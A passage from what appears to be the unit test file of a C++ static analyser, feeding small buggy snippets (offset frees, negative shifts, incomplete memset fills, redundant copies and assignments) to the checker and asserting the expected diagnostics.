[pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void 